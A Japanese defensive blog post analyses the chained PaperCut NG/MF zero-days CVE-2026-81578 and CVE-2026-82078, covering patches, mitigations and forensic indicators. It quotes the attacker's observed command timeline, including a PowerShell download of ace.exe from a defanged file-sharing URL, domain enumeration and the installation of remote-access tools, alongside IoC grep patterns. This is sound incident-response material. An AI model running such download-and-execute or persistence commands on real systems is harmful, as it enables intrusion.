PaperCut NG/MF のゼロデイ CVE-2026-81578 / CVE-2026-82078 - 印刷サーバーが未認証RCEの入口になった

社内の印刷管理サーバーを「境界機器」として扱っている組織は、そう多くないはずです。プリンタの課金や認証を裏で回している、地味で目立たないサーバー。ところがそれが、認証不要でSYSTEM権限のコード実行に到達できる入口になりました。

2026年8月27日午前9時42分（AEST）、PaperCutに教育機関の顧客から1本の報告が届きます。「PaperCut MFサーバーが侵害されたようだ」。同社は当初、既知の脆弱性を突いたn-day攻撃を疑いましたが、ログが指していたのは別の経路でした。正午にはP0インシデントを宣言し、未知のゼロデイが実環境で悪用されているという前提で動き始めます。

そこから2週間、CVE採番、3度の緊急パッチ、CISA KEVへの追加、そして「第2波」の観測へと事態は進みました。この記事では、PaperCut公式セキュリティ告知、CISA KEVのJSONフィード、NVDのCVEレコード、Huntress・Rapid7の解析という確認可能な情報をもとに、何が起きたのか、そして自分の環境で何をすべきかを整理します。攻撃の再現手順やエクスプロイトコードは扱わず、防御側の判断材料に絞ります。

タイムライン - 顧客からの1本の報告から2週間

PaperCut公式告知の「Updates」欄、CEO Chris Dance氏のブログ、NVD、CISA KEVのJSONから日付が確認できる出来事だけを並べます。時刻表記は出典に合わせてAEST（UTC+10）とUTCが混在します。

注目すべきは、初報から緊急パッチ公開までが約16時間だったこと、そしてその後さらに2回パッチを出し直していることです。8月28日未明のパッチだけを当てて安心していた組織は、Release 2 と Release 3 を取りこぼしている可能性があります。

2つのCVE - 単体では未認証RCEにならない

PaperCutは8月28日、2件のCVEを公開しました。重要なのはどちらか一方だけでは未認証のコード実行にならないことです。

CVE-2026-81578 - 認証チェックの完了前にバックエンド処理が走る

NVDに登録された説明（CNAはPaperCut）は次のとおりです。

An improper access control vulnerability exists in the web management interface of PaperCut MF and PaperCut NG. Under specific conditions, unauthenticated remote requests targeting administrative functions can trigger backend actions prior to the completion of access validation checks. This allows an unauthenticated remote attacker to modify certain system configurations.

管理機能を狙った未認証リクエストが、アクセス検証チェックが完了する前にバックエンドの処理を起動できてしまう、という構造です。「認証を突破する」というより「認証判定が終わる前に副作用のある処理が走ってしまう」タイプで、結果として未認証の攻撃者がシステム設定の一部を書き換えられます。

ここで得られるのは設定変更能力だけで、コード実行ではありません。だからこそCVSS 4.0の機密性影響は VC:L にとどまっています。

CVE-2026-82078 - DBドライバ名を検証せずにクラスをロードする

もう1件の説明はこうです。

An unsafe dynamic class loading vulnerability exists in the database connection utilities of PaperCut MF and PaperCut NG. The application instantiates database driver classes based on configurable driver names without validating against an allowlist of approved drivers.

データベース接続まわりのユーティリティが、設定可能なドライバ名をそのまま受け取ってクラスをインスタンス化していました。承認済みドライバの許可リストと突き合わせる検証がありません。CWE-470「Use of Externally-Controlled Input to Select Classes or Code」、いわゆるUnsafe Reflectionです。

こちらは「攻撃者が設定パラメータを操作できるなら」という前提がつくため、単体では PR:H（高権限が必要）と評価されています。

連鎖して初めて「未認証RCE」になる

つまり構図はこうです。

1. CVE-2026-81578 で、未認証のまま設定パラメータを書き換える
2. 書き換えた設定を CVE-2026-82078 が読み、許可リスト検証なしにクラスをロードする
3. PaperCutサーバープロセスの権限（Windowsでは典型的にSYSTEM）で任意のJavaバイトコードが動く

watchTowrのJake Knott氏はこの連鎖を「CVE-2026-81578 allows you to bypass authentication, and from there, you can edit a configuration file to exploit CVE-2026-82078 and gain Remote Code Execution」と説明しています。HuntressはPaperCut NG 25.0.11.75758 の素の環境に対して、事前認証RCEチェーンを再現したと報告しました。

認証バイパスと別の脆弱性を組み合わせて到達点を跳ね上げる構造は、N-able N-central の認証バイパス CVE-2026-18577やVMware vCenter の認証バイパスからのRCEでも見た形です。単体のCVSSだけを見て優先度を決めると、こういう組み合わせを取り逃します。

CVSSの読み方 - 8.8と9.4のどちらも連鎖を表していない

2件のスコアを並べると、評価の性質がよくわかります。

読み取れることが3つあります。

1つ目。CVSS 4.0では、権限要件と影響度がきれいに反転しています。 81578 は PR:N（権限不要）だが影響は限定的、82078 は影響が全面的だが PR:H（高権限が必要）。連鎖すると「権限不要」と「全面的な影響」が合成されますが、その合成後の姿を表すスコアはどちらのCVEにも付いていません。KEVのshortDescriptionが両方に「This vulnerability can be chained with ...」と明記しているのは、この欠落を補うためだと読めます。

2つ目。NVDのCVSS 3.1は評価軸が違います。 81578 に9.8が付いているのは、3.1には「連鎖前提の限定的影響」を素直に表す語彙がなく、C:H/I:H/A:H に丸められているためです。CVSS 3.1で見るか4.0で見るかで、2件の深刻度の順序が入れ替わります。同じ現象はCitrix NetScaler の CVE-2026-8452でも起きていました。

3つ目。SSVCの automatable が実務上の温度差を表しています。 認証バイパス側は automatable: yes（大量自動スキャンで刈り取れる）、クラスロード側は automatable: no。実際、Huntressは初期の観測で「探索的なプローブ」を、その後watchTowrは「人間の攻撃者によるhands-on-keyboard」を報告しています。自動スキャンで見つけてから人が入る、という典型的な流れです。

影響範囲と修正ビルド

影響を受ける製品

PaperCut公式告知の「Who is potentially impacted」は明快です。

This advisory applies to all versions of: PaperCut NG, PaperCut MF

全バージョンが対象です。NVDのCPE構成では、影響範囲は 24.1.9 以前、25.0.2 から 25.0.12、26.0.2 から 26.0.4 と表現されています。

コンポーネント単位の切り分けは公式FAQに書かれています。

「Application Serverだけ当てれば済む」と誤解しやすいところです。公式は「Site Servers and secondary/print servers should be updated to a patched version, not just the primary Application Server」と明記しています。

Emergency Patch Release 3 のビルド番号

2026年9月1日18時22分（AEST）に公開された Release 3 が、執筆時点の最新です。Release 2 を置き換え、過去の緊急リリースをすべて含む累積パッチなので、以前のパッチを順に当てる必要はありません。

NGとMFでビルド番号が入れ替わって見える並びになっているので、取り違えに注意してください。PaperCutは各バイナリのSHA256チェックサムも公開しているので、ダウンロード後に必ず突き合わせます。

# 取得したインストーラのハッシュを公式掲載値と突き合わせる
# Linux
sha256sum papercut-ng-installer.sh
 
# macOS
shasum -a 256 papercut-ng-installer.dmg

# Windows (PowerShell)
Get-FileHash -Algorithm SHA256 .\papercut-ng-installer.exe | Format-List

Release 3 は2件の回帰も直しています。Release 2 で壊れていたSAMLログインフローと、外部カード番号ルックアップでのレガシーMicrosoft SQL Serverドライバのサポートです。SAMLでログインしている組織がRelease 2で止まっていると、認証が壊れたままになります。

正式なメンテナンスリリースの扱い

NVDのCVEレコード（CNA提供の affected データ）には、修正バージョンとして 24.1.10, 25.0.13, 26.0.5 が記載されています。一方、PaperCut公式告知の「Current Status」は執筆時点で次の状態です。

Emergency Patches have been issues and a QA'd Maintenance Release is in progress.

つまりQA済みの正式メンテナンスリリースは進行中という記述にとどまります。公式のリリース履歴ページで 24.1.10 / 25.0.13 / 26.0.5 が公開済みかどうかは、今回確認できませんでした（未確認）。当面は Emergency Patch Release 3 のビルド番号を基準に判断し、正式版が出たら改めて上げ直す想定でいるのが安全です。

なお NG/MF v23 以前には緊急パッチが提供されません。公式の回答は「The recommended path for all customers prior to PaperCut NG/MF v24 is to upgrade to the latest version」です。v23以前を運用しているなら、パッチ適用ではなくバージョンアップが唯一の道になります。

自分の環境が対象かの確認手順

1. バージョンとビルド番号を確認する

管理者Webインターフェースの「About」で、バージョンとビルド番号を確認します。既定のポートは次のとおりです。

http://<papercut-server>:9191/app    # HTTP（既定）
https://<papercut-server>:9192/app   # HTTPS（既定）

Application Server は 9195 でも常時待ち受けます。ポートを変更している環境では、公式マニュアルの「Change the Application Server ports」で設定値を確認してください。

Windowsでバイナリ側から確認したい場合は、実行ファイルのバージョン情報も手がかりになります。

# インストール先は環境により異なるため、実際のパスに読み替える
Get-Item "C:\Program Files\PaperCut MF\server\bin\win\pc-app.exe" |
  Select-Object -ExpandProperty VersionInfo |
  Format-List FileVersion, ProductVersion

2. インターネットからの到達性を確認する

PaperCutが最優先の対応として挙げているのは、パッチではなくネットワーク到達性の遮断です。

If your PaperCut NG/MF Application Server is accessible from the public internet, immediately restrict web access to trusted IP addresses only (e.g. internal IP addresses).

社内からは見えていても外から見えているかは別問題です。外部の別回線から到達性を確認します。

# 外部ネットワークから、既定ポートへの到達性を確認する
for p in 9191 9192 9195; do
  timeout 3 bash -c "echo > /dev/tcp/papercut.example.com/$p" \
    && echo "OPEN  $p" || echo "closed $p"
done

リバースプロキシ経由で 443 に載せている構成では、上のポートスキャンでは見つかりません。プロキシ側のバーチャルホスト定義とアクセス制御も必ず併せて確認してください。Shadowserverはこの件で800台超のPaperCut NG/MFサーバーがインターネットに露出していると報告しています（BleepingComputer経由。露出台数は調査主体と日付で数字が異なるため、正確な母数は要確認）。

3. Site Server と二次サーバーを数える

Application Server だけを対象にした資産台帳になっていないか確認します。Site Server は Application Server とバージョンを揃える必要があり、今回は Site Server 自体も更新対象です。

4. 外部DBカード番号ルックアップの利用有無を確認する

これはパッチ適用後の挙動に直結します。Release 2 以降、外部データベースからカード/ID番号をルックアップする機能は既定で無効になりました。使っている環境では明示的に有効化が必要です。

# <install>/server/security.properties に追記して Application Server を再起動
security.card-number-lookup.enabled=Y

公式FAQが警告しているのは、この設定が抜けたときの挙動です。

Without this key set, PaperCut NG/MF will silently ignore any external user lookup calls even though the Admin UI may still show the feature as configured.

管理UI上は設定済みに見えるのに、実際には黙って無視される。パッチ後に「カードでログインできない」という問い合わせが増えたら、まずここを疑ってください。

侵害痕跡（IoC）の調査

PaperCutは公式告知でIoCを公開しています。パッチを当てたかどうかとは無関係に、露出していた期間があるなら調査は必須です。

1. server.log 内の文字列

ログは既定で [app-path]/server/logs/ 配下にあります。

# PaperCut 公式が公開している IoC 文字列を横断検索
grep -nE "No suitable driver found for jdbc:no:x|DatabaseUtils - Database error looking up cardID|jdbc:derby:memory:pwn|VALUES CAST" \
  /path/to/papercut/server/logs/server.log*

# Windows の場合
Select-String -Path "C:\Program Files\PaperCut MF\server\logs\server.log*" `
  -Pattern "jdbc:no:x","jdbc:derby:memory:pwn","looking up cardID: VALUES CAST"

公式が挙げている文字列は次のとおりです。

• ERROR No suitable driver found for jdbc:no:x
• ERROR DatabaseUtils - Database error looking up cardID: VALUES CAST
• DB URL: jdbc:derby:memory:pwn;create=true
• Database error looking up cardID: VALUES CAST(X'cafebabe
• Database error looking up cardID: VALUES CAST('
• DB URL: jdbc:no:x DB Driver: に続く5文字程度のランダムな名前

cafebabe はJavaのclassファイルのマジックナンバーです。つまりこの文字列は、Javaバイトコードが16進リテラルとしてカードルックアップの経路を通っていった痕跡だと読めます。何が起きたのかを推測する手がかりとして、覚えておく価値があります。

2. server.log そのものの欠落

公式は「Missing, unexpectedly truncated, or deleted PaperCut server.log files」をIoCに挙げています。Huntressの解析はさらに具体的で、投下された .class ファイルが自身の出力ファイルと server.log を自分で削除する挙動を報告しました。

これは重要な含意を持ちます。「ログに何も出ていないから大丈夫」ではなく、「ログが妙に短い / 消えている」こと自体が最も強いIoCです。ログの外部転送を組んでいれば、消される前のコピーが残っている可能性があります。ログ設計の考え方はログ・メトリクス・トレースの使い分けも参考にしてください。

3. ディスクに書かれたファイル

<install>\server\lib\<5文字程度のランダム名>.class
<install>\server\data\content\<5文字程度のランダム名>.cmd
<install>\server\data\content\<5文字程度のランダム名>.out

Huntressが実際に観測したファイル名は Udydn.class と Moo97.class、パスは C:\Program Files\PaperCut MF\server\lib\ でした。Derbyのログパスとして C:\Program Files\PaperCut MF\server\data\internal\pwn も観測されています。

# server/lib 配下の .class を更新日時順に確認（正規の jar とは別物）
Get-ChildItem "C:\Program Files\PaperCut MF\server\lib" -Filter *.class -Recurse |
  Sort-Object LastWriteTime -Descending |
  Select-Object FullName, LastWriteTime, Length

PaperCutは「Note that these files may be cleaned up by the attacker as activity progresses, so their absence does not rule out compromise」と釘を刺しています。

4. pc-app.exe の子プロセス

観測された初動は、PaperCutのサーバープロセスが子シェルを起こすパターンです。

observed behaviour includes the pc-app.exe (or pc-app) process launching child shell processes (cmd.exe) and running whoami & ver

Huntressはこのコマンドがbase64でエンコードされて渡されていたことも報告しています（whoami & ver および whoami & ver & tasklist に対応）。EDRやSysmonのプロセスツリーで、pc-app.exe を親とする cmd.exe / powershell.exe を検索してください。印刷管理サーバーがシェルを起こす正当な理由はまずありません。

5. リモートアクセスツールの設置

実行が阻止されなかった環境では、次の順序が観測されています（PaperCut公式掲載。経過時間は最初のコマンドを00:00:00とした相対値、URLはdefang表記）。

00:00:00  whoami & ver
00:01:19  tasklist
00:04:42  nltest /dclist:
00:06:09  quser & dir c:\users
00:16:07  powershell Invoke-WebRequest -Uri hxxps://sendit[.]sh/Gg7Rp/ace[.]exe -OutFile C:\ProgramData\ace.exe
00:18:07  dir c:\programdata /a
00:19:27  c:\programdata\ace.exe /S
00:21:29  Windows サービス "Remote Access Service" が導入される（SimpleHelp エージェント）
00:21:41  tasklist
00:27:37  powershell Invoke-WebRequest -Uri hxxps://download[.]anydesk[.]com/AnyDesk.exe -OutFile C:\ProgramData\AnyDesk.exe

30分足らずでドメイン列挙（nltest /dclist:）まで進み、SimpleHelpとAnyDeskという正規のリモート管理ツールで永続化しています。EDRのブロック対象にはなりにくい、いわゆるLOTL寄りの手口です。

# 公式が名指ししている永続化の痕跡を確認する
Get-Service | Where-Object { $_.DisplayName -like "*Remote Access Service*" }
Test-Path "C:\ProgramData\JWrapper-Remote Access\JWAppsSharedConfig\restricted\SimpleService.exe"
Get-ChildItem "C:\ProgramData" -Filter "*.exe" | Select-Object Name, CreationTime

このサービスは LocalSystem で自動起動に設定されていました。AnyDeskの想定外の導入も併せて確認します。

6. データ持ち出しの兆候

BleepingComputerは脅威インテリジェンス「Defused」の観測として、8月29日（UTC）以降、認証バイパスを使って外部ユーザールックアップを乗っ取り、Derby経由でDBテーブルをダンプするデータ窃取が行われていると報じています。これは二次情報であり、PaperCut公式告知には対応する記述が確認できませんでした（未確認）。ただしPaperCutのDBには利用者の氏名、メールアドレス、部署、カード番号が入るため、影響評価では個人情報漏えいを前提に置くべきです。

調査の限界を認識する

公式の注意書きをそのまま引きます。

Important: The absence of the above indicators is not confirmation that a system has not been affected.

ログを短期間しか保持していない、EDRを入れていない、といった環境では「痕跡がない」は「確認できない」でしかありません。侵害されていない証明にはならない点を、報告書の書き方の段階で明確にしておく必要があります。

パッチが当てられない場合の緩和策

メンテナンス枠がすぐに取れない場合でも、PaperCutが最優先で指示しているのはネットワーク側の措置です。

Use firewall rules, network access controls, or equivalent measures to ensure the PaperCut server's web interfaces cannot be reached from untrusted internet addresses. Take this action now, even if you have not observed suspicious activity.

• Application Server の 9191 / 9192 / 9195 を、社内セグメントとVPN経由のみに制限する
• リバースプロキシで公開している場合は、プロキシ側でソースIP制限をかける
• 外部からの管理UIアクセスが業務上必要なら、VPNや踏み台の後ろに移す
• Mobility Print のポートは閉じる必要がありません（公式FAQで別アーキテクチャと明言）

なお、緊急パッチを当てた環境についても、watchTowrが複数のパッチ回避と追加の認証バイパスを発見し、それがRelease 2 / Release 3 につながったと報じられています。パッチ適用とネットワーク制限は二者択一ではなく、両方やるのが今回の正解です。

パッチ後にやるべき事後対応

1. 侵害が疑われるなら再構築を検討する

PaperCut公式FAQの回答は、2023年のときと同じく踏み込んだものです。

If you suspect your server has been compromised, we recommend securing current server backups, completely wiping and rebuilding the Application Server, and restoring a clean backup taken before any suspicious behavior was detected.

Application Serverを完全に消して作り直し、疑わしい挙動より前のクリーンなバックアップから復元する。任意のJavaバイトコードがサーバープロセス権限で走った可能性がある以上、部分的な駆除で済ませる根拠は弱いという判断です。

2. 認証情報をローテーションする

PaperCutサーバーが持つ資格情報を洗い出して差し替えます。

• データベース接続情報（外部DBを使っている場合を含む）
• LDAP / Active Directory / Microsoft 365 / Google Workspace の同期用アカウント
• 内部PaperCutユーザーのパスワード（2023年のCVE-2023-27351では内部ユーザーのハッシュ流出が確認されています）
• SMTP認証情報、Webhook等のAPIキー
• サーバーが動いていたホストのサービスアカウント

SYSTEM権限のコード実行が成立していれば、ホスト上のキャッシュ済み資格情報も対象です。横展開の確認まで含めて計画してください。

3. カード番号ルックアップとSAMLの動作確認

前述の security.card-number-lookup.enabled=Y の追記漏れと、Release 2 で発生していたSAMLログイン回帰は、いずれも「静かに壊れる」タイプです。パッチ後にログイン系の疎通確認を必ず実施してください。SQL Server でレガシーな jTDS ドライバを使っている場合、公式は最新の Microsoft SQL JDBC ドライバへの更新を推奨しています。

4. ログを保全してから作業する

再構築や再起動の前に、[app-path]/server/logs/ 一式、Windowsイベントログ、EDRのテレメトリ、プロキシ/ファイアウォールのログを別ホストへ退避します。攻撃者がログを消しにくる手口が確認されている以上、保全は最初にやる作業です。

2023年の PaperCut 事件との対比

PaperCutにとって今回は2度目の大規模事案です。公式KB「URGENT MF/NG vulnerability bulletin (March 2023)」とCISAの共同アドバイザリ AA23-131A から、当時の事実を確認できます。

決定的な違いはパッチの有無です。2023年は3月にパッチが出ており、4月中旬から未適用サーバーが刈られました。「パッチはあったのに当てていなかった」事案です。2026年は公表時点でパッチが存在しない、正真正銘のゼロデイでした。

もう1つ引き継ぐべき教訓が、被害の分布です。AA23-131Aはこう記しています。

Education Facilities Subsector entities maintained approximately 68% of exposed, but not necessarily vulnerable, U.S.-based PaperCut servers.

米国で露出していたPaperCutサーバーの約68%が教育機関でした。実際、Bl00dy Ransomware Gangは2023年5月初旬に教育機関を狙い、データ持ち出しと暗号化に至っています。そして2026年の初報も、教育機関の顧客からでした。学校法人や大学がPaperCutを運用しているなら、これは自組織のリスクプロファイルそのものです。国内の事案傾向は2026年の国内セキュリティインシデントも併せて確認してください。

なお、CEO Chris Dance氏のブログは2023年の経験から次の点を強調しています。

In 2023, the initial exploitation round was serious, but much of the broader damage came later

初期の悪用より、その後に別の攻撃者グループが乗ってくる第2波のほうが被害が大きかったという総括です。実際、9月2日の公式告知には「there is a second wave of attack on servers that are not fully patched and are publicly available」「This second wave appears to involve more sophisticated post-compromise behaviour」と追記されました。3日以内に閉じたから安心、という話にはなっていません。

KEVエントリの読み方 - BOD 26-04 と14日期限

CISA KEVカタログ（catalogVersion 2026.09.02、収録1694件）の該当エントリはこうなっています。

requiredAction は BOD 26-04（リスクベースのセキュリティ更新優先順位付けに関する指令）に準拠する新しい書式で、資産のインターネット露出評価まで求めています。

是正期限は14日。同じ2026年でもMetabase の CVE-2026-72898は3日、Citrix NetScalerも3日でした。今回14日なのは、公表時点で正式リリースが存在せず緊急パッチしかないという事情が反映されたと読むのが自然です（CISAは理由を公表していないため推測です）。

knownRansomwareCampaignUse が Unknown である点も、油断の材料にはなりません。2023年のCVE-2023-27350も、KEV追加当初からランサムウェア関与が確定していたわけではありませんでした。認証バイパス系のKEV運用についてはCheck Point SmartConsole の認証バイパスでも触れています。

教訓 - 「印刷サーバー」を境界機器として扱う

今回の件から持ち帰るべきものを3つ挙げます。

1つ目は、資産分類の見直しです。 PaperCutはWindows上でSYSTEM相当の権限で動き、ADと同期し、利用者の個人情報とカード番号を保持します。実態はVPN装置やファイル転送アプライアンスと同じ「攻撃者が最初に狙う内部向けサーバー」です。それが管理UIごとインターネットに出ていた組織が800台以上ある、というのが観測された事実でした。

2つ目は、許可リスト検証のない動的クラスロードという設計の危うさです。 CVE-2026-82078の本質は「設定値を信頼してクラスをロードする」ことでした。設定は認証の内側にあるから安全、という暗黙の前提が、認証バイパス1件で崩れます。設定値も外部入力として検証する、という原則の実例です。

3つ目は、パッチの「回数」を追う運用です。 今回は3日間で3回パッチが出ました。「対応済み」のチェックを1回つけて終わりにすると、Release 1 のまま止まります。緊急事案ではアドバイザリのUpdates欄を定期的に読み直す担当を決めておくべきです。

まとめ

• PaperCut NG/MF の CVE-2026-81578（認証バイパス、CVSS 4.0 で 8.8）と CVE-2026-82078（Unsafe Reflection、9.4）が連鎖し、未認証でサーバープロセス権限のコード実行に至る
• 2026年8月26日から実環境での悪用が観測され、8月31日にCISA KEV追加（是正期限 2026-09-14）
• 影響は PaperCut NG / MF の全バージョン。Application Server だけでなく Site Server と二次サーバーも更新対象
• 執筆時点の最新は Emergency Patch Release 3（MF: Build 76531 / 76532 / 76534、NG: Build 76530 / 76533 / 76535）。正式メンテナンスリリースの公開状況は未確認
• パッチが当てられないなら、管理UIをインターネットから遮断するのが最優先
• 露出期間があったなら、server.log のIoC文字列、ログの欠落、server/lib 配下の .class、pc-app.exe の子プロセス、SimpleHelp / AnyDesk の痕跡を調査する
• 2023年の事案では被害の多くが「第2波」で発生した。今回も9月2日時点で第2波が公式に報告されている

印刷管理サーバーは、止まっても業務が完全には止まらないため、パッチ適用の優先度を下げられがちです。今回のCVEは、その順位付けを一度見直すきっかけになるはずです。

参考資料

• PaperCut: URGENT Security Advisory - PaperCut NG/MF Security Bulletin (27 Aug 2026)
• PaperCut: Behind the scenes - What happened after 9:42 a.m. on the 27th August 2026
• NVD: CVE-2026-81578
• NVD: CVE-2026-82078
• CISA: Known Exploited Vulnerabilities Catalog
• CISA: KEV JSONフィード
• CISA: BOD 26-04 Prioritizing Security Updates Based on Risk
• Huntress: PaperCut Zero-Day - Active Exploitation and Pre-Auth RCE
• Rapid7: PaperCut NG/MF Critical Zero-Day Exploited in the Wild
• SecurityWeek: More Details Emerge on Exploited PaperCut Vulnerabilities
• BleepingComputer: Recently patched PaperCut zero-days used in data theft attacks
• PaperCut: URGENT MF/NG vulnerability bulletin (March 2023)
• CISA AA23-131A: Malicious Actors Exploit CVE-2023-27350 in PaperCut MF and NG
• PaperCut: Secure your PaperCut NG/MF server
• PaperCut: Firewall Ports used by NG & MF
• PaperCut: Change the Application Server ports